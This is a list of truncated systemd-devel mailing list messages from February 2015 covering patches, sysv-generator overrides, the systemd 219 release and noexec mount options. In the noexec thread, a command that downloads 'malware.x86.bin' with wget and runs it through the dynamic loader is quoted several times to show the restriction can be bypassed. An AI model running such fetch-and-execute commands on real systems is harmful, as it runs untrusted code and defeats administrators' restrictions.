Re: [systemd-devel] [PATCH] build-sys: Lookup for the location of agetty

2015-02-16 Thread Lennart Poettering
On Mon, 16.02.15 17:39, Jóhann B. Guðmundsson (johan...@gmail.com) wrote: On 02/16/2015 03:42 PM, Cristian Rodríguez wrote: May be in /sbin or /usr/sbin You might want to resubmit this to including the 57600 baud rate request from Jeff in the process ( 115200,57600,38400,9600 ) ;) Hmm,

Re: [systemd-devel] [PATCH] build-sys: Lookup for the location of agetty

2015-02-16 Thread Jóhann B. Guðmundsson
On 02/16/2015 05:40 PM, Lennart Poettering wrote: On Mon, 16.02.15 17:39, Jóhann B. Guðmundsson (johan...@gmail.com) wrote: On 02/16/2015 03:42 PM, Cristian Rodríguez wrote: May be in /sbin or /usr/sbin You might want to resubmit this to including the 57600 baud rate request from Jeff in

Re: [systemd-devel] [PATCH] build-sys: Lookup for the location of agetty

2015-02-16 Thread Cristian Rodríguez
El 16/02/15 a las 14:46, Jóhann B. Guðmundsson escribió: On 02/16/2015 05:40 PM, Lennart Poettering wrote: On Mon, 16.02.15 17:39, Jóhann B. Guðmundsson (johan...@gmail.com) wrote: On 02/16/2015 03:42 PM, Cristian Rodríguez wrote: May be in /sbin or /usr/sbin You might want to resubmit

Re: [systemd-devel] [PATCH 5/5] sd-bus: add missing format attribute

2015-02-16 Thread Lennart Poettering
On Mon, 16.02.15 01:09, Cristian Rodríguez (crrodrig...@opensuse.org) wrote: --- src/systemd/sd-bus.h | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/src/systemd/sd-bus.h b/src/systemd/sd-bus.h index 2420d0c..ca2d83e 100644 --- a/src/systemd/sd-bus.h +++

Re: [systemd-devel] [PATCH] build-sys: Lookup for the location of agetty

2015-02-16 Thread Jóhann B. Guðmundsson
On 02/16/2015 03:42 PM, Cristian Rodríguez wrote: May be in /sbin or /usr/sbin You might want to resubmit this to including the 57600 baud rate request from Jeff in the process ( 115200,57600,38400,9600 ) ;) JBG ___ systemd-devel mailing list

Re: [systemd-devel] [PATCH 1/3] Add helper for fnmatch over strv

2015-02-16 Thread Tom Gundersen
On Mon, Feb 16, 2015 at 3:51 PM, Zbigniew Jędrzejewski-Szmek zbys...@in.waw.pl wrote: On Mon, Feb 16, 2015 at 03:20:21PM +0100, Tom Gundersen wrote: On Mon, Feb 16, 2015 at 2:54 PM, Zbigniew Jędrzejewski-Szmek zbys...@in.waw.pl wrote: On Mon, Feb 16, 2015 at 02:12:38PM +0100, Lennart

Re: [systemd-devel] [PATCH] timesync: Use UINT64_C for OFFSET_1900_1970

2015-02-16 Thread David Herrmann
Hi On Mon, Feb 16, 2015 at 5:24 PM, Cristian Rodríguez crrodrig...@opensuse.org wrote: So it matches what the comment says in both 32 and 64 bit systems. --- src/timesync/timesyncd-manager.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/src/timesync/timesyncd-manager.c

Re: [systemd-devel] [PATCH 1/3] Add helper for fnmatch over strv

2015-02-16 Thread Tom Gundersen
Perfect! Thanks! ___ systemd-devel mailing list systemd-devel@lists.freedesktop.org http://lists.freedesktop.org/mailman/listinfo/systemd-devel

Re: [systemd-devel] [PATCH 1/3] Add helper for fnmatch over strv

2015-02-16 Thread Zbigniew Jędrzejewski-Szmek
On Mon, Feb 16, 2015 at 06:47:32PM +0100, Tom Gundersen wrote: On Mon, Feb 16, 2015 at 3:51 PM, Zbigniew Jędrzejewski-Szmek zbys...@in.waw.pl wrote: On Mon, Feb 16, 2015 at 03:20:21PM +0100, Tom Gundersen wrote: On Mon, Feb 16, 2015 at 2:54 PM, Zbigniew Jędrzejewski-Szmek zbys...@in.waw.pl

Re: [systemd-devel] [PATCH 1/3] Add helper for fnmatch over strv

2015-02-16 Thread Lennart Poettering
On Mon, 16.02.15 19:38, Tom Gundersen (t...@jklm.no) wrote: Perfect! Thanks! No, not perfect at all: $ ./test-network Assertion 's' failed at ./src/shared/strv.h:152, function strv_fnmatch_or_empty(). Aborting. Aborted (core dumped) Lennart -- Lennart Poettering, Red Hat

Re: [systemd-devel] Mount options of /var/run/users/pid

2015-02-16 Thread Simon McVittie
On 16/02/15 18:14, Павел Самсонов wrote: If I have multiuser Linux installation with shell and DE access, my users have not places in system, where they able download something from internet and execute: ... /home rw,noexec noexec is not sufficient to do what you have said. For instance,

Re: [systemd-devel] Mount options of /var/run/users/pid

2015-02-16 Thread Reindl Harald
Am 16.02.2015 um 21:02 schrieb Mantas Mikulėnas: On Mon, Feb 16, 2015 at 9:40 PM, Reindl Harald wrote: Am 16.02.2015 um 20:31 schrieb Mantas Mikulėnas: On Mon, Feb 16, 2015 at 9:16 PM, Simon McVittie wrote: wget http://example.com/malware.x86.bin

Re: [systemd-devel] sysv-generator: doesn't handle /etc/insserv/overrides or /etc/chkconfig.d

2015-02-16 Thread Michael Biebl
2015-02-16 15:55 GMT+01:00 Dimitri John Ledkov dimitri.j.led...@intel.com: If you have a strong desire for such a feature, and I presume in current stable distributions, rather than future stables. It is best to factor it out into a stand-alone, portable across older systemd releases,

Re: [systemd-devel] Mount options of /var/run/users/pid

2015-02-16 Thread Reindl Harald
Am 16.02.2015 um 20:31 schrieb Mantas Mikulėnas: On Mon, Feb 16, 2015 at 9:16 PM, Simon McVittie simon.mcvit...@collabora.co.uk mailto:simon.mcvit...@collabora.co.uk wrote: wget http://example.com/malware.__x86.bin http://example.com/malware.x86.bin /lib/ld-linux.so.2

Re: [systemd-devel] Complex supervision structures/delegating watchdog?

2015-02-16 Thread Holger Hans Peter Freyther
On Mon, Feb 16, 2015 at 11:21:53AM +0100, Lennart Poettering wrote: Is your pppd daemon itself also a systemd service? What precisely does monitor consist of for this case? Yes, the pppd is invoked by systemd as a service. What I am doing right now is: link.service: ExecStart=pppd call

[systemd-devel] [PATCH] timedated: when performing SetTime compensate for program lag

2015-02-16 Thread Shawn Landden
The start time could be moved back a little bit by using kdbus timestamps, but I'm guessing that that amount of time is insignificant. --- TODO | 2 -- src/timedate/timedated.c | 7 +++ 2 files changed, 7 insertions(+), 2 deletions(-) diff --git a/TODO b/TODO index

[systemd-devel] [PATCH] timedated: when performing SetTime compensate for program lag

2015-02-16 Thread Shawn Landden
I can't test this as kdbus doesn't build against Linux 3.19 --- TODO | 2 -- src/timedate/timedated.c | 14 ++ 2 files changed, 14 insertions(+), 2 deletions(-) diff --git a/TODO b/TODO index 93dfa60..88055d3 100644 --- a/TODO +++ b/TODO @@ -190,8 +190,6 @@

Re: [systemd-devel] Mount options of /var/run/users/pid

2015-02-16 Thread Павел Самсонов
If I have multiuser Linux installation with shell and DE access, my users have not places in system, where they able download something from internet and execute: / ro,exec /home rw,noexec /var rw,noexec All tmpfs noexec In Debian wheezy this done and work. In Debian jessie I have places

Re: [systemd-devel] Mount options of /var/run/users/pid

2015-02-16 Thread Mantas Mikulėnas
On Mon, Feb 16, 2015 at 9:16 PM, Simon McVittie simon.mcvit...@collabora.co.uk wrote: wget http://example.com/malware.x86.bin /lib/ld-linux.so.2 malware.x86.bin Pretty sure this no longer works; these days noexec prevents mmap(PROT_EXEC) as well. -- Mantas Mikulėnas graw...@gmail.com

Re: [systemd-devel] [PATCH] timedated: when performing SetTime compensate for program lag

2015-02-16 Thread David Herrmann
Hi On Mon, Feb 16, 2015 at 8:47 PM, Shawn Landden sh...@churchofgit.com wrote: I can't test this as kdbus doesn't build against Linux 3.19 Ugh? kdbus should build fine against 3.19. We pushed the required fixes last week as 3.19 was released. Btw., I now got this patch twice with different

[systemd-devel] udev: 60-persistent-storage.rules attempts blkid on removable devices with no medium present

2015-02-16 Thread Hans Scholze
Hi, I'm not sure if this is considered a problem but I noticed some spurious error messages during boot. The source appears to be: 1. a USB media card reader is plugged in at boot 2. the device node exists regardless of whether a card is present (expected) 3. line 70 of

Re: [systemd-devel] Complex supervision structures/delegating watchdog?

2015-02-16 Thread Mantas Mikulėnas
On Mon, Feb 16, 2015 at 10:36 PM, Holger Hans Peter Freyther hol...@freyther.de wrote: On Mon, Feb 16, 2015 at 11:21:53AM +0100, Lennart Poettering wrote: Is your pppd daemon itself also a systemd service? What precisely does monitor consist of for this case? Yes, the pppd is invoked

[systemd-devel] [PATCH] configure: turn off -Wlogical-not-parentheses

2015-02-16 Thread Shawn Landden
Introduced in gcc-5 These errors are really annoying. I can get behind clarification of nested ifs, but this is overkill. --- configure.ac | 1 + 1 file changed, 1 insertion(+) diff --git a/configure.ac b/configure.ac index 97a29d6..e646db7 100644 --- a/configure.ac +++ b/configure.ac @@ -187,6

[systemd-devel] [ANNOUNCE] systemd 219

2015-02-16 Thread Lennart Poettering
Heya! Many many improvements, in particular in the area of containers, btrfs hookup, and networkd. Also, many bugfixes. Enjoy! http://www.freedesktop.org/software/systemd/systemd-219.tar.xz Note that this version is not available in Fedora F22/F23 yet. The linker on ARM segfaults. Since the

Re: [systemd-devel] [PATCH] configure: turn off -Wlogical-not-parentheses

2015-02-16 Thread Zbigniew Jędrzejewski-Szmek
On Mon, Feb 16, 2015 at 02:02:17PM -0800, Shawn Landden wrote: Introduced in gcc-5 These errors are really annoying. I can get behind clarification of nested ifs, but this is overkill. --- configure.ac | 1 + 1 file changed, 1 insertion(+) diff --git a/configure.ac b/configure.ac

Re: [systemd-devel] [PATCH 1/3] Add helper for fnmatch over strv

2015-02-16 Thread Zbigniew Jędrzejewski-Szmek
On Mon, Feb 16, 2015 at 02:12:38PM +0100, Lennart Poettering wrote: On Sat, 14.02.15 00:53, Zbigniew Jędrzejewski-Szmek (zbys...@in.waw.pl) wrote: No functional change intended. I like this simplification! if (match_host !condition_test(match_host))

Re: [systemd-devel] [PATCH 1/3] Add helper for fnmatch over strv

2015-02-16 Thread Tom Gundersen
On Mon, Feb 16, 2015 at 2:54 PM, Zbigniew Jędrzejewski-Szmek zbys...@in.waw.pl wrote: On Mon, Feb 16, 2015 at 02:12:38PM +0100, Lennart Poettering wrote: On Sat, 14.02.15 00:53, Zbigniew Jędrzejewski-Szmek (zbys...@in.waw.pl) wrote: No functional change intended. I like this

Re: [systemd-devel] [PATCH v3] Added support for Uplink Failure Detection using BindCarrier

2015-02-16 Thread Rauta, Alin
Hi Tom, Regarding your request: Hm, we need to introduce a new administrative state here I think (LINK_STATE_DOWN), and then make sure we don't accidentally leave it in case we get some other event after bringing the interface down. This is a little bit tricky. When we bring the

Re: [systemd-devel] [PATCH] configure: turn off -Wlogical-not-parentheses

2015-02-16 Thread Shawn Landden
On Mon, Feb 16, 2015 at 2:03 PM, Zbigniew Jędrzejewski-Szmek zbys...@in.waw.pl wrote: On Mon, Feb 16, 2015 at 02:02:17PM -0800, Shawn Landden wrote: Introduced in gcc-5 These errors are really annoying. I can get behind clarification of nested ifs, but this is overkill. ---

Re: [systemd-devel] [PATCH] shutdown: avoid calling `kexec` binary unnessecarily

2015-02-16 Thread Shawn Landden
On Mon, Feb 16, 2015 at 5:08 AM, Lennart Poettering lenn...@poettering.net wrote: On Fri, 13.02.15 14:18, Shawn Landden (sh...@churchofgit.com) wrote: Still use helper when Xen Dom0, to avoid duplicating some hairy code. Hmm, what precisely does the helper do on xen? So we don't have

[systemd-devel] [PATCH] units: add ConditionKernelCommandLine=resume

2015-02-16 Thread Cristian Rodríguez
If there is no resume= ..it is not possible to hubrid-sleep or hibernate --- units/systemd-hibernate.service.in| 1 + units/systemd-hybrid-sleep.service.in | 1 + 2 files changed, 2 insertions(+) diff --git a/units/systemd-hibernate.service.in b/units/systemd-hibernate.service.in index

Re: [systemd-devel] sysv-generator: doesn't handle /etc/insserv/overrides or /etc/chkconfig.d

2015-02-16 Thread Lennart Poettering
On Mon, 16.02.15 12:25, Christian Seiler (christ...@iwakd.de) wrote: Hi, Would you accept a patch that makes the sysv-generator consider these local overrides? (I have a test patch just for insserv/overrides that's diffstat +14 -8; for chkconfig.d it would be a bit more longer, because you

Re: [systemd-devel] [PATCH] shutdown: avoid calling `kexec` binary unnessecarily

2015-02-16 Thread Lennart Poettering
On Fri, 13.02.15 14:18, Shawn Landden (sh...@churchofgit.com) wrote: Still use helper when Xen Dom0, to avoid duplicating some hairy code. Hmm, what precisely does the helper do on xen? So we don't have any logic to load kexec kernels? Currently we don't. My hope though was that we can

Re: [systemd-devel] [PATCH 1/3] Add helper for fnmatch over strv

2015-02-16 Thread Lennart Poettering
On Sat, 14.02.15 00:53, Zbigniew Jędrzejewski-Szmek (zbys...@in.waw.pl) wrote: No functional change intended. I like this simplification! if (match_host !condition_test(match_host)) return false; @@ -117,49 +112,17 @@ bool net_match_config(const struct

Re: [systemd-devel] sysv-generator: doesn't handle /etc/insserv/overrides or /etc/chkconfig.d

2015-02-16 Thread Michael Biebl
2015-02-16 13:59 GMT+01:00 Lennart Poettering lenn...@poettering.net: Well, if this is really just about overriding the LSB headers, and nobody so far ever asked for this functionality, wouldn't it be a better and easier way out to just recommend people to do systemd-style drop-ins? I mean,

Re: [systemd-devel] sysv-generator: doesn't handle /etc/insserv/overrides or /etc/chkconfig.d

2015-02-16 Thread Lennart Poettering
On Mon, 16.02.15 14:13, Michael Biebl (mbi...@gmail.com) wrote: 2015-02-16 13:59 GMT+01:00 Lennart Poettering lenn...@poettering.net: Well, if this is really just about overriding the LSB headers, and nobody so far ever asked for this functionality, wouldn't it be a better and easier way

Re: [systemd-devel] [PATCH 1/3] Add helper for fnmatch over strv

2015-02-16 Thread Zbigniew Jędrzejewski-Szmek
On Mon, Feb 16, 2015 at 03:20:21PM +0100, Tom Gundersen wrote: On Mon, Feb 16, 2015 at 2:54 PM, Zbigniew Jędrzejewski-Szmek zbys...@in.waw.pl wrote: On Mon, Feb 16, 2015 at 02:12:38PM +0100, Lennart Poettering wrote: On Sat, 14.02.15 00:53, Zbigniew Jędrzejewski-Szmek (zbys...@in.waw.pl)

Re: [systemd-devel] sysv-generator: doesn't handle /etc/insserv/overrides or /etc/chkconfig.d

2015-02-16 Thread Dimitri John Ledkov
On 16 February 2015 at 14:35, Christian Seiler christ...@iwakd.de wrote: Am 2015-02-16 13:59, schrieb Lennart Poettering: You couldn't override init scripts that way - if you wanted to do that, you'd have to replace them completely. But if you just want to alter (or even specify for the first

Re: [systemd-devel] sysv-generator: doesn't handle /etc/insserv/overrides or /etc/chkconfig.d

2015-02-16 Thread Christian Seiler
Am 2015-02-16 13:59, schrieb Lennart Poettering: You couldn't override init scripts that way - if you wanted to do that, you'd have to replace them completely. But if you just want to alter (or even specify for the first time for certain third-party scripts) dependency information but keep

[systemd-devel] Another attempt: Making dependencies properly overridable

2015-02-16 Thread Christian Seiler
Am 2015-02-16 14:16, schrieb Lennart Poettering: On Mon, 16.02.15 14:13, Michael Biebl (mbi...@gmail.com) wrote: Not quite. While you can use drop-in snippets to amend orderings/depends, it's (unfortunately) not possible to override Wants=,Before= etc. There have been discussions to allow

[systemd-devel] [PATCH] build-sys: Lookup for the location of agetty

2015-02-16 Thread Cristian Rodríguez
May be in /sbin or /usr/sbin --- Makefile.am | 1 + configure.ac | 2 ++ units/console-getty.service.m4.in| 2 +- units/container-ge...@.service.m4.in | 2 +- units/getty@.service.m4 | 2 +- units/serial-getty@.service.m4 | 2

Re: [systemd-devel] sysv-generator: doesn't handle /etc/insserv/overrides or /etc/chkconfig.d

2015-02-16 Thread Jóhann B. Guðmundsson
On 02/15/2015 04:21 PM, Christian Seiler wrote: Hi, I just noticed that sysv-generator doesn't handle /etc/insserv/overrides (e.g. older SuSE, Debian) or /etc/chkconfig.d (e.g. RHEL = 6, Centos, old Fedora), it just ignores it, thus not retaining administrator overrides to init script headers.

Re: [systemd-devel] user units and system units behavior

2015-02-16 Thread Simon McVittie
On 14/02/15 18:26, Ivan Shapovalov wrote: Yes, the per-session bus is there, but it is not used at all for communication with per-user systemd instance. I do want this to work, and I'm working on making it happen. It works on my Debian system, with the patched dbus that I recently uploaded to

Re: [systemd-devel] Mount options of /var/run/users/pid

2015-02-16 Thread Lennart Poettering
B1;3802;0cOn Sun, 15.02.15 16:31, Павел Самсонов (pvsamsono...@gmail.com) wrote: Good day, I see a new Debian jessie, and I mean, that /var/run/pid filesystems must be mounted with noexec options, so thay have user write access. On some installations this very important. Were I may configure

Re: [systemd-devel] Unmount / right before reboot/shutdown/kexec

2015-02-16 Thread Lennart Poettering
On Fri, 13.02.15 23:15, Lorenzo Pistone (blaffabla...@gmail.com) wrote: Hello, the cloud provider I'm testing has rather strange setup. All volumes are provided through nbd, including /, and they have to be unmounted cleanly for reboot to work successfully, because the rebooted or kexec'd

Re: [systemd-devel] [PATCH] timedated: when performing SetTime compensate for program lag

2015-02-16 Thread Lennart Poettering
On Fri, 13.02.15 15:34, Shawn Landden (sh...@churchofgit.com) wrote: --- TODO | 2 -- src/timedate/timedated.c | 14 ++ 2 files changed, 14 insertions(+), 2 deletions(-) diff --git a/TODO b/TODO index 68b0af6..7b93404 100644 --- a/TODO +++ b/TODO @@

Re: [systemd-devel] sysv-generator: doesn't handle /etc/insserv/overrides or /etc/chkconfig.d

2015-02-16 Thread Christian Seiler
Hi, Would you accept a patch that makes the sysv-generator consider these local overrides? (I have a test patch just for insserv/overrides that's diffstat +14 -8; for chkconfig.d it would be a bit more longer, because you can override individual settings there (and not just all of them at

Re: [systemd-devel] sysv-generator: doesn't handle /etc/insserv/overrides or /etc/chkconfig.d

2015-02-16 Thread Christian Seiler
resending, didn't go to list the first time (sorry for the duplicate) Am 16.02.2015 um 12:00 schrieb Jóhann B. Guðmundsson: In the simplest case, the init script is trivial and you just create a simple native service and are better off anyway. But most of the time, init scripts where you want

Re: [systemd-devel] sysv-generator: doesn't handle /etc/insserv/overrides or /etc/chkconfig.d

2015-02-16 Thread Jóhann B. Guðmundsson
On 02/16/2015 11:32 AM, Christian Seiler wrote: Sure, in an ideal world. But as I said in my initial mail, if you have crappy scripts provided by third-parties, this is not always an option. And I don't think init scripts are going to fully disappear in the next 10 years, it's not realistic -

Re: [systemd-devel] persisting sriov_numvfs

2015-02-16 Thread Michal Sekletar
On Sat, Feb 14, 2015 at 12:47:54AM +0100, Tom Gundersen wrote: On Tue, Jan 27, 2015 at 5:49 PM, Lennart Poettering lenn...@poettering.net wrote: On Tue, 27.01.15 08:41, Martin Polednik (mpoled...@redhat.com) wrote: b) Expose this via udev .link files. This would be appropriate if